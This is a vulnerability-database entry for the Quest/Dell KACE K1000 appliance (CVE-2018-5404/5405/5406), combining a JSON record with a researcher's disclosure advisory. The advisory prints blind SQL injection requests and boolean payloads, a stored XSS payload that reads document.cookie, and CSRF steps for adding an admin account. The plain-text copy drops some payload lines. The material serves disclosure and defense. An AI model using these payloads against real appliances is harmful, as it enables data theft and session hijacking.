var-201906-1119

Vulnerability from variot

The Quest Kace K1000 Appliance, versions prior to 9.0.270, allows an authenticated least privileged user with 'User Console Only' rights to potentially inject arbitrary JavaScript code on the tickets page. Script execution could allow a malicious user of the system to steal session cookies of other users including Administrator and take over their session. This can further be exploited to launch other attacks. The software also does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other user. An authenticated user with 'user console only' rights may inject arbitrary JavaScript, which could result in an attacker taking over a session of others, including an Administrator. The Quest Kace System Management (K1000) Appliance contains multiple vulnerabilities, including a blind SQL injection vulnerability and a stored cross site scripting vulnerability. It also suffers from misconfigurations in the cross-origin resource sharing (CORS) mechanism and improperly validates source communications. Quest Kace K1000 Appliance Contains a cross-site scripting vulnerability.Information may be obtained and information may be altered. QuestSoftwareKaceK1000Appliance is a system management device from QuestSoftware, USA. This product is mainly used for software license management, patch and endpoint security management, software distribution and server monitoring. A cross-site scripting vulnerability exists in versions prior to QuestKaceK1000Appliance 9.0.270 that could allow an attacker to execute client-side code. # Exploit Title: [Dell Kace Appliance Multiple Vulnerabilities]

Date: [12/04/2018]

Exploit Author: [SlidingWindow], Twitter: @kapil_khot

Vendor Homepage: [https://www.quest.com/products/kace-systems-management-appliance/]

Affected Versions: [KACE SMA versions prior to 9.0.270 PATCH SEC2018_20180410]

Tested on: [Quest Kace K1000 Appliance versions, 8.0.318, 8.0.320 and 9.0.270 ]

CVE : [CVE-2018-5404,CVE-2018-5405,CVE-2018-5406]

CERT Advisory: [https://www.kb.cert.org/vuls/id/877837/]

Vendor Advisory: https://support.quest.com/kb/288310/cert-coordination-center-report-update

==================

Product:-

================== Quest KACE, formerly Dell KACE, is a company that specializes in computer appliances for systems management of information technology equipment.

========================

Vulnerability Details:-

========================

===================================================================================================================================================== 1. Blind SQL Injection Vulnerability in Ajax_Lookup_List.PHP (CVE-2018-5404) =====================================================================================================================================================

The Dell Kace allows Admin users to access ajax_lookup_list.php. However, it can be accessed by a least privileged user with ‘User Console Only’ rights. Also, the user input supplied to 'selvalue' parameter is not sanitized that leads to a Blind SQL Injection vulnerability.

Proof-Of-Concept:

Send following request to the target:

GET /common/ajax_lookup_list.php?query_type=submitter&parent_mapping=false&place_holder=Unassigned&suppress_place_holder_as_choice=false&selected=13&selvalue=13&queue_id=1&limit=10&org_id=1&locale=en_US&id=13 HTTP/1.1 Host: 192.168.247.100 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://192.168.247.100/userui/ticket.php?QUEUE_ID=1 Cookie: kbox_nav=1; KACE_LAST_USER=%98%B59%CB%D9%27f+%28%B6%83b%0F8a%EF; KACE_LAST_ORG=%DE%A3%0E20%8E%84%BF%B1%D5%89%E0%A8%E6%2A%FD; kboxid=i0b4qhnv66qg41893hb1q5g146; KACE_CSRF_TOKEN=4862fbb6808731e6658aeca4ea48bd2cac08502ca289e1d3305875b165fb2c86d5441145152ada3f3c701cf2387db6086e7c349c5265ec3b2110978a70ebde6f; KONEA=ebWI%2BP%2FFEgmTioFCZ3xVTgsN174jAtY0mkDdAov5uZtJEpn2FziBYMEinZsmN63zlNfEooUtIXJDgiJgmSKfFk3VvQguPiEAYQIaYpMhcFRQkfyANLWQy2tJzS8mByjYxJZlBRcYhJYlVqAMppyuikdVPOQRynpbiRNSIqVlX0wyxIBFaoF4b8O09p4wYkritpr1qM%2BMoLmA2n3%2BQCY2u%2FvD8DdrIVtm8t2%2BNxMVCCZjfpqpjKef73l7xx2yBxlV9kRG04gPNHXFfv8f4TZB82%2FvurTFqgOWThxp51YjdpWfssEJQsss1O1B3FtYEH0h83Wrl9ABzsRx%2FZafVGjQTw%3D%3D; x-dell-auth-jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJBTVNJZGVudGl0eVByb3ZpZGVyIiwic3ViIjozLCJhdWQiOiJFU01QbGF0Zm9ybSIsImNvbiI6IjRkMzkwY2M2ODMzZTRkMjk4MTI0NzYyYmQwYjdiNzRjIiwiZXhwIjoxNTIxMzA3NTExfQ.S9h0USN7xS0VmeapB6zWqKnAW-e-vd9J9-NrH9383gSXX6K_vEgXSv0FpuPGCtYQ2I3o7gxuYBKxy_qCqp1xd2w2NRowiZb5_WlwoHBWeTnaP3D9Y6Ek4nd9CKgPaZF1Y8TtaZkdbbWWFTdjtpkD3CK5eNHX_lsqtPD_gVJWwxc Connection: close

Make a note of Content-Length in the response body.
Send following request:

http://192.168.247.100/common/ajax_lookup_list.php?query_type=submitter&parent_mapping=false&place_holder=Unassigned&suppress_place_holder_as_choice=false&selected=13&selvalue=13'&queue_id=1&limit=10&org_id=1&locale=en_US&id=13

Response to above request shows that an error occurred and we are being redirected to /common/error.php
Final payload to check if we get the original response back:

These tests confirm that the 'selvalue' parameter is indeed vulnerable to Blind SQL Injection. This can further be exploited by modifying the payload or using SQLMap to retrieve some sensitive information from the database.

========================================================================================================================================================= 2. Blind SQL Injection Vulnerability in Oval_Detail.PHP (CVE-2018-5404) =========================================================================================================================================================

The Dell Kace allows Admin users to view OVAL templates via 'oval_detail.php', that can be accessed by a user with ‘Read Only Administrator’ rights. Also, the user input supplied to ID parameter is not sanitized that leads to a Blind SQL Injection vulnerability. An authenticated user with ‘Read Only Administrator’ rights could exploit this vulnerability to retrieve sensitive information from the database.

Proof-Of-Concept:

Send following request to the target:

GET /adminui/oval_detail.php?ID=6200 HTTP/1.1 Host: 192.168.247.100 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.247.100/adminui/oval_list.php Cookie: kbox_nav=1; KACE_LAST_USER=%9A%95%91%5E%AF%B2%A6%FA%02M%B5%7D%08%87%D52; KACE_LAST_ORG=%DE%A3%0E20%8E%84%BF%B1%D5%89%E0%A8%E6%2A%FD; kboxid=i48m8gm8kcnbiptc28pq8u7uq1; KACE_CSRF_TOKEN=96acbdac36b0143958a7d96ba318eb5c626884d46733a8ed05c88cfe94d80cfdebe6bd9790ff4fec3a79fa988ff828dac4d841356c72eebb015d20c5ffd5a01a; KONEA=xvqV3k6fWuhsnypD45pPw4OPs7fZxUDP24mubodoYiSj8Y8EqJpUnakrq%2BHEefSs0YkzglNboWvUhE%2FuavTZZrkyNPMF1IH2QB%2FIF7jSm6fLukuuMyLgTFZWtOg16t5eJqCXvn0f54tfwFnfB1tobY%2Fu6MDe8BOWKaj6mByvdD6kNREg%2B%2FLwAcfIYmgJNKYu0Wd9JwsRpWpuRyZkejbrZB%2FSlkh80oHvHSey0inQmIy7B4bYnPCPUfTU8qPeZLaPcvYFchruj%2BabBazlHAaq44txeUy2AtG85ntiN8XPXoZnflHOD%2B5WjTywTtRGiRpCQVQNDbHTOdSUuljpDEyjrw%3D%3D; x-dell-auth-jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJBTVNJZGVudGl0eVByb3ZpZGVyIiwic3ViIjo0LCJhdWQiOiJFU01QbGF0Zm9ybSIsImNvbiI6ImVlMTk3ZGE5NmFmYTRiYzViYzk5Y2VhMzI3ZjQ2OTdiIiwiZXhwIjoxNTIxMjk3MzE5fQ.GHuAWu_mcviKl0HQcFjY0In5aJxgB-WZCaHP5XQMdpdboby0b1qnwh4DyC3TQg4PktBm_D0Vu4LOMY5KWGRvwOQCTwrzBFLg3ogsKWb0AMO3RArrENXxEO3P3K6XFQCEIlpU9n9K1APnnRSTsfPEL7GC5GkzixakXAlZMZzLB_0 Connection: close Upgrade-Insecure-Requests: 1

Response to above request shows some content with the content length of 32109 bytes:
It shows information about OVAL-ID#24253:
Now send following payload that tests this ID parameter for a true condition:

http://192.168.247.100/adminui/oval_detail.php?ID=6200+AND+6432=6432
Response to above request again shows information about the same OVAL-ID#24252:
Now, use following payload to test this ID parameter for a false condition:

http://192.168.247.100/adminui/oval_detail.php?ID=6200+AND+6432=6444
The response to false condition is different than the response to normal and/or true condition. This response does not show any information about any OVAL-ID:
These tests confirm that the ID parameter is indeed vulnerable to Blind SQL Injection. This can further be exploited by modifying the payload or using SQLMap to retrieve some sensitive information from the database.

Proof-Of-Concept:

Log into the Dell Kace K1000 web interface as a least privileged user.
Navigate to Service Desk-->Tickets and create a new ticket.
Inject following payload in the Summary section:

Test Ticket

<!--

Save the ticket.

Go back to tickets and view this newly created ticket and a couple of alert boxes should pop up.

========================================================================================================================================================= 4. Misconfigured CORS Vulnerability (CVE-2018-5406) =========================================================================================================================================================

The Dell Kace K1000 fails to implement Cross Origin Resource Sharing (CORS) properly, that leads to a Cross Site Request Forgery (CSRF) attack.

An unauthenticated, remote attacker could exploit this vulnerability to perform sensitive actions such as adding a new administrator account or changing appliance’s settings. Also, malicious internal user of the organization could induce an administrator of this appliance to visit a malicious link that exploits this vulnerability to perform sensitive actions such as adding a new administrator account or changing appliance’s settings.

Proof-Of-Concept:

Try to create a new user and capture the request in BurpSuite to create a CSRF PoC from there. Create an HTML form and put it under Web Root of your Kali machine.
Log into the web interface of the appliance as admin.
Open a new tab in the same browser and access the HTML page from #1
Save the ticket.
Submit the request (This can be modified to submit the request automatically).
Check BurpSuite to see if the request to add user ‘Hacker’ was sent to the appliance and if it was originated from your Kali machine
Check the admin console to see if user Hacker has been added:

===================================

Vulnerability Disclosure Timeline:

===================================

04/2018: Submitted report to CERT-US. 04/2018: CERT-US reported the issue to vendor. 05/2018: Awaiting vendor response. 10/2018: Vendor asked to test the patch as they have fixed these issues already. 10/2018: Confirmed that all the vulnerabilities except Vulnerability#2 is fixed in 9.0.270 and still exists in other patched version. 01/2019: Vendor confirmed that they are working on fixing all of the vulnerabilities and would release a patch on May 01 2019 and asked to publish this on June 01 2019 so that customers have enough time to patch. 05/2019: Vendor published an advisory. 06/2019: CERT-US published a Vulnerability Note, VU#877837

Show details on source website

JSON

To clipboard

{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-201906-1119",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "kace systems management appliance",
        "scope": "lt",
        "trust": 1.8,
        "vendor": "quest",
        "version": "9.0.270"
      },
      {
        "model": null,
        "scope": null,
        "trust": 0.8,
        "vendor": "quest kace",
        "version": null
      },
      {
        "model": "software kace k1000 appliance",
        "scope": "lt",
        "trust": 0.6,
        "vendor": "quest",
        "version": "9.0.270"
      }
    ],
    "sources": [
      {
        "db": "CERT/CC",
        "id": "VU#877837"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2019-21111"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-015577"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-5405"
      }
    ]
  },
  "configurations": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/configurations#",
      "children": {
        "@container": "@list"
      },
      "cpe_match": {
        "@container": "@list"
      },
      "data": {
        "@container": "@list"
      },
      "nodes": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:quest:kace_systems_management_appliance_firmware:*:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "versionEndExcluding": "9.0.270",
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:quest:kace_systems_management_appliance:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2018-5405"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "SlidingWindow",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "153150"
      }
    ],
    "trust": 0.1
  },
  "cve": "CVE-2018-5405",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "acInsufInfo": false,
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "SINGLE",
            "author": "NVD",
            "availabilityImpact": "NONE",
            "baseScore": 3.5,
            "confidentialityImpact": "NONE",
            "exploitabilityScore": 6.8,
            "impactScore": 2.9,
            "integrityImpact": "PARTIAL",
            "obtainAllPrivilege": false,
            "obtainOtherPrivilege": false,
            "obtainUserPrivilege": false,
            "severity": "LOW",
            "trust": 1.0,
            "userInteractionRequired": true,
            "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N",
            "version": "2.0"
          },
          {
            "acInsufInfo": null,
            "accessComplexity": "Medium",
            "accessVector": "Network",
            "authentication": "Single",
            "author": "NVD",
            "availabilityImpact": "None",
            "baseScore": 3.5,
            "confidentialityImpact": "None",
            "exploitabilityScore": null,
            "id": "CVE-2018-5405",
            "impactScore": null,
            "integrityImpact": "Partial",
            "obtainAllPrivilege": null,
            "obtainOtherPrivilege": null,
            "obtainUserPrivilege": null,
            "severity": "Low",
            "trust": 0.8,
            "userInteractionRequired": null,
            "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "CNVD",
            "availabilityImpact": "NONE",
            "baseScore": 5.0,
            "confidentialityImpact": "NONE",
            "exploitabilityScore": 10.0,
            "id": "CNVD-2019-21111",
            "impactScore": 2.9,
            "integrityImpact": "PARTIAL",
            "severity": "MEDIUM",
            "trust": 0.6,
            "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "NVD",
            "availabilityImpact": "NONE",
            "baseScore": 5.4,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "exploitabilityScore": 2.3,
            "impactScore": 2.7,
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "trust": 1.0,
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.0"
          },
          {
            "attackComplexity": "Low",
            "attackVector": "Network",
            "author": "NVD",
            "availabilityImpact": "None",
            "baseScore": 5.4,
            "baseSeverity": "Medium",
            "confidentialityImpact": "Low",
            "exploitabilityScore": null,
            "id": "CVE-2018-5405",
            "impactScore": null,
            "integrityImpact": "Low",
            "privilegesRequired": "Low",
            "scope": "Changed",
            "trust": 0.8,
            "userInteraction": "Required",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "NVD",
            "id": "CVE-2018-5405",
            "trust": 1.8,
            "value": "MEDIUM"
          },
          {
            "author": "CNVD",
            "id": "CNVD-2019-21111",
            "trust": 0.6,
            "value": "MEDIUM"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-201906-042",
            "trust": 0.6,
            "value": "MEDIUM"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2019-21111"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-015577"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-5405"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201906-042"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "The Quest Kace K1000 Appliance, versions prior to 9.0.270, allows an authenticated least privileged user with \u0027User Console Only\u0027 rights to potentially inject arbitrary JavaScript code on the tickets page. Script execution could allow a malicious user of the system to steal session cookies of other users including Administrator and take over their session. This can further be exploited to launch other attacks. The software also does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other user. An authenticated user with \u0027user console only\u0027 rights may inject arbitrary JavaScript, which could result in an attacker taking over a session of others, including an Administrator. The Quest Kace System Management  (K1000) Appliance contains multiple vulnerabilities, including a blind SQL injection vulnerability and a stored cross site scripting vulnerability.  It also suffers from misconfigurations in the cross-origin resource sharing (CORS) mechanism and improperly validates source communications. Quest Kace K1000 Appliance Contains a cross-site scripting vulnerability.Information may be obtained and information may be altered. QuestSoftwareKaceK1000Appliance is a system management device from QuestSoftware, USA. This product is mainly used for software license management, patch and endpoint security management, software distribution and server monitoring. A cross-site scripting vulnerability exists in versions prior to QuestKaceK1000Appliance 9.0.270 that could allow an attacker to execute client-side code. # Exploit Title: [Dell Kace Appliance Multiple Vulnerabilities]\n# Date: [12/04/2018]\n# Exploit Author: [SlidingWindow],  Twitter: @kapil_khot\n# Vendor Homepage: [https://www.quest.com/products/kace-systems-management-appliance/]\n# Affected Versions: [KACE SMA versions prior to 9.0.270 PATCH SEC2018_20180410]\n# Tested on: [Quest Kace K1000 Appliance versions, 8.0.318, 8.0.320 and 9.0.270 ]\n# CVE : [CVE-2018-5404,CVE-2018-5405,CVE-2018-5406]\n#CERT Advisory: [https://www.kb.cert.org/vuls/id/877837/]\n#Vendor Advisory: https://support.quest.com/kb/288310/cert-coordination-center-report-update\n\n\n==================\n#Product:-\n==================\nQuest KACE, formerly Dell KACE, is a company that specializes in computer appliances for systems management of information technology equipment. \n\n========================\n#Vulnerability Details:-\n========================\n\n=====================================================================================================================================================\n1. Blind SQL Injection Vulnerability in Ajax_Lookup_List.PHP (CVE-2018-5404)\n=====================================================================================================================================================\n\nThe Dell Kace allows Admin users to access ajax_lookup_list.php. However, it can be accessed by a least privileged user with \u2018User Console Only\u2019 rights. Also, the user input supplied to \u0027selvalue\u0027 parameter is not sanitized that leads to a Blind SQL Injection vulnerability. \n\n#Proof-Of-Concept:\n------------------\n1. Send following request to the target:\n\nGET /common/ajax_lookup_list.php?query_type=submitter\u0026parent_mapping=false\u0026place_holder=Unassigned\u0026suppress_place_holder_as_choice=false\u0026selected=13\u0026selvalue=13\u0026queue_id=1\u0026limit=10\u0026org_id=1\u0026locale=en_US\u0026id=13 HTTP/1.1\nHost: 192.168.247.100\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nX-Requested-With: XMLHttpRequest\nReferer: http://192.168.247.100/userui/ticket.php?QUEUE_ID=1\nCookie: kbox_nav=1; KACE_LAST_USER=%98%B59%CB%D9%27f+%28%B6%83b%0F8a%EF; KACE_LAST_ORG=%DE%A3%0E20%8E%84%BF%B1%D5%89%E0%A8%E6%2A%FD; kboxid=i0b4qhnv66qg41893hb1q5g146; KACE_CSRF_TOKEN=4862fbb6808731e6658aeca4ea48bd2cac08502ca289e1d3305875b165fb2c86d5441145152ada3f3c701cf2387db6086e7c349c5265ec3b2110978a70ebde6f; KONEA=ebWI%2BP%2FFEgmTioFCZ3xVTgsN174jAtY0mkDdAov5uZtJEpn2FziBYMEinZsmN63zlNfEooUtIXJDgiJgmSKfFk3VvQguPiEAYQIaYpMhcFRQkfyANLWQy2tJzS8mByjYxJZlBRcYhJYlVqAMppyuikdVPOQRynpbiRNSIqVlX0wyxIBFaoF4b8O09p4wYkritpr1qM%2BMoLmA2n3%2BQCY2u%2FvD8DdrIVtm8t2%2BNxMVCCZjfpqpjKef73l7xx2yBxlV9kRG04gPNHXFfv8f4TZB82%2FvurTFqgOWThxp51YjdpWfssEJQsss1O1B3FtYEH0h83Wrl9ABzsRx%2FZafVGjQTw%3D%3D; x-dell-auth-jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJBTVNJZGVudGl0eVByb3ZpZGVyIiwic3ViIjozLCJhdWQiOiJFU01QbGF0Zm9ybSIsImNvbiI6IjRkMzkwY2M2ODMzZTRkMjk4MTI0NzYyYmQwYjdiNzRjIiwiZXhwIjoxNTIxMzA3NTExfQ.S9h0USN7xS0VmeapB6zWqKnAW-e-vd9J9-NrH9383gSXX6K_vEgXSv0FpuPGCtYQ2I3o7gxuYBKxy_qCqp1xd2w2NRowiZb5_WlwoHBWeTnaP3D9Y6Ek4nd9CKgPaZF1Y8TtaZkdbbWWFTdjtpkD3CK5eNHX_lsqtPD_gVJWwxc\nConnection: close\n\n2. Make a note of Content-Length in the response body. \n\n3. Send following request:\n\nhttp://192.168.247.100/common/ajax_lookup_list.php?query_type=submitter\u0026parent_mapping=false\u0026place_holder=Unassigned\u0026suppress_place_holder_as_choice=false\u0026selected=13\u0026selvalue=13\u0027\u0026queue_id=1\u0026limit=10\u0026org_id=1\u0026locale=en_US\u0026id=13\n\n4. Response to above request shows that an error occurred and we are being redirected to /common/error.php\n\n5. Final payload to check if we get the original response back:\n\nhttp://192.168.247.100/common/ajax_lookup_list.php?query_type=submitter\u0026parent_mapping=false\u0026place_holder=Unassigned\u0026suppress_place_holder_as_choice=false\u0026selected=13\u0026selvalue=13\u0027\u0027\u0026queue_id=1\u0026limit=10\u0026org_id=1\u0026locale=en_US\u0026id=13\n\n6. These tests confirm that the \u0027selvalue\u0027 parameter is indeed vulnerable to Blind SQL Injection. This can further be exploited by modifying the payload or using SQLMap to retrieve some sensitive information from the database. \n\n\n\n=========================================================================================================================================================\n2. Blind SQL Injection Vulnerability in Oval_Detail.PHP (CVE-2018-5404)\n=========================================================================================================================================================\n\nThe Dell Kace allows Admin users to view OVAL templates via \u0027oval_detail.php\u0027, that can be accessed by a user with \u2018Read Only Administrator\u2019 rights. Also, the user input supplied to ID parameter is not sanitized that leads to a Blind SQL Injection vulnerability. \nAn authenticated user with \u2018Read Only Administrator\u2019 rights could exploit this vulnerability to retrieve sensitive information from the database. \n\n#Proof-Of-Concept:\n------------------\n1. Send following request to the target:\n\nGET /adminui/oval_detail.php?ID=6200 HTTP/1.1\nHost: 192.168.247.100\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: http://192.168.247.100/adminui/oval_list.php\nCookie: kbox_nav=1; KACE_LAST_USER=%9A%95%91%5E%AF%B2%A6%FA%02M%B5%7D%08%87%D52; KACE_LAST_ORG=%DE%A3%0E20%8E%84%BF%B1%D5%89%E0%A8%E6%2A%FD; kboxid=i48m8gm8kcnbiptc28pq8u7uq1; KACE_CSRF_TOKEN=96acbdac36b0143958a7d96ba318eb5c626884d46733a8ed05c88cfe94d80cfdebe6bd9790ff4fec3a79fa988ff828dac4d841356c72eebb015d20c5ffd5a01a; KONEA=xvqV3k6fWuhsnypD45pPw4OPs7fZxUDP24mubodoYiSj8Y8EqJpUnakrq%2BHEefSs0YkzglNboWvUhE%2FuavTZZrkyNPMF1IH2QB%2FIF7jSm6fLukuuMyLgTFZWtOg16t5eJqCXvn0f54tfwFnfB1tobY%2Fu6MDe8BOWKaj6mByvdD6kNREg%2B%2FLwAcfIYmgJNKYu0Wd9JwsRpWpuRyZkejbrZB%2FSlkh80oHvHSey0inQmIy7B4bYnPCPUfTU8qPeZLaPcvYFchruj%2BabBazlHAaq44txeUy2AtG85ntiN8XPXoZnflHOD%2B5WjTywTtRGiRpCQVQNDbHTOdSUuljpDEyjrw%3D%3D; x-dell-auth-jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJBTVNJZGVudGl0eVByb3ZpZGVyIiwic3ViIjo0LCJhdWQiOiJFU01QbGF0Zm9ybSIsImNvbiI6ImVlMTk3ZGE5NmFmYTRiYzViYzk5Y2VhMzI3ZjQ2OTdiIiwiZXhwIjoxNTIxMjk3MzE5fQ.GHuAWu_mcviKl0HQcFjY0In5aJxgB-WZCaHP5XQMdpdboby0b1qnwh4DyC3TQg4PktBm_D0Vu4LOMY5KWGRvwOQCTwrzBFLg3ogsKWb0AMO3RArrENXxEO3P3K6XFQCEIlpU9n9K1APnnRSTsfPEL7GC5GkzixakXAlZMZzLB_0\nConnection: close\nUpgrade-Insecure-Requests: 1\n\n2. Response to above request shows some content with the content length of 32109 bytes:\n\n3. It shows information about OVAL-ID#24253:\n\n4. Now send following payload that tests this ID parameter for a true condition:\n\n\thttp://192.168.247.100/adminui/oval_detail.php?ID=6200+AND+6432=6432\n\n5. Response to above request again shows information about the same OVAL-ID#24252:\n\n6. Now, use following payload to test this ID parameter for a false condition:\n\t\n\thttp://192.168.247.100/adminui/oval_detail.php?ID=6200+AND+6432=6444\n\n7. The response to false condition is different than the response to normal and/or true condition. This response does not show any information about any OVAL-ID:\n\n8. These tests confirm that the ID parameter is indeed vulnerable to Blind SQL Injection. This can further be exploited by modifying the payload or using SQLMap to retrieve some sensitive information from the database. \n\n=========================================================================================================================================================\n3. This script executes every time a user visits this page. \n\n#Proof-Of-Concept:\n------------------\n1. Log into the Dell Kace K1000 web interface as a least privileged user. \n2. Navigate to Service Desk--\u003eTickets and create a new ticket. \n3. Inject following payload in the Summary section:\n\t\n\tTest Ticket\u003c/textarea\u003e\u003c/div\u003e\u003c/div\u003e\u003cscript\u003ealert(\"XSSinSummary\");alert(document.cookie);\u003c/script\u003e\u003c!--\n\n4. Save the ticket. \n5. Go back to tickets and view this newly created ticket and a couple of alert boxes should pop up. \n6. \n\n\n=========================================================================================================================================================\n4. Misconfigured CORS Vulnerability (CVE-2018-5406)\n=========================================================================================================================================================\n\nThe Dell Kace K1000 fails to implement Cross Origin Resource Sharing (CORS) properly, that leads to a Cross Site Request Forgery (CSRF) attack. \n\nAn unauthenticated, remote attacker could exploit this vulnerability to perform sensitive actions such as adding a new administrator account or changing appliance\u2019s settings. Also, malicious internal user of the organization could induce an administrator of this appliance to visit a malicious link that exploits this vulnerability to perform sensitive actions such as adding a new administrator account or changing appliance\u2019s settings. \n\n\n#Proof-Of-Concept:\n------------------\n1. Try to create a new user and capture the request in BurpSuite to create a CSRF PoC from there. Create an HTML form and put it under Web Root of your Kali machine. \n2. Log into the web interface of the appliance as admin. \n3. Open a new tab in the same browser and access the HTML page from #1\n4. Save the ticket. \n5. Submit the request (This can be modified to submit the request automatically). \n6. Check BurpSuite to see if the request to add user \u2018Hacker\u2019 was sent to the appliance and if it was originated from your Kali machine\n7. Check the admin console to see if user Hacker has been 